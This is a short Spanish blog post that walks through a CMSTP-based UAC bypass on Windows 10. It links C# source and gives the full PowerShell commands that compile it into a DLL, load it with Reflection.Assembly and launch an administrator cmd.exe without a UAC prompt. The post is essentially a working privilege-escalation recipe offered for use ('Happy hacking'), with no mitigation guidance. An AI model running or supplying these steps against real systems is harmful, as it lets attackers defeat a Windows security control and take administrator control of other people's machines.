Hace unos días, una nueva técnica llamada “mocking” vio la luz en el amplio abanico de métodos para bypassear el UAC (User Account Control) en las versiones más recientes de Windows, incluido Windows 10. Como es sabido, el UAC nos da una capa de seguridad ante posibles ataques de malware, evitando que se generen cambios en el registro, se creen ficheros, servicios, etc.

Siguiendo el trabajo de @zc00l y @Oddvar, compilando mediante la consola de powershell un pequeño script en C# que explota el servicio “cmstp.exe“, generamos una DLL que mediante “Reflection.Assembly” cargamos en el sistema, para luego ejecutarla.

URL del código: https://github.com/0xVIC/UAC/blob/master/source.cs

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

El resultado es una DLL “CMSTP-UAC-Bypass.dll” que mediante el método “Assembly.GetExecuting” podemos cargar nuestra DLL y ejecutarla en la misma consola de powershell.

[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
[CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

Como resultado obtenemos una nueva ventana CMD de administrador evadiendo el control de acceso de usuarios de nuestra máquina.

Por último observamos que el nivel de Control de cuentas de usuario está predefinido por el sistema en alto.

 

Happy hacking.

0xVIC


Deja tu comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.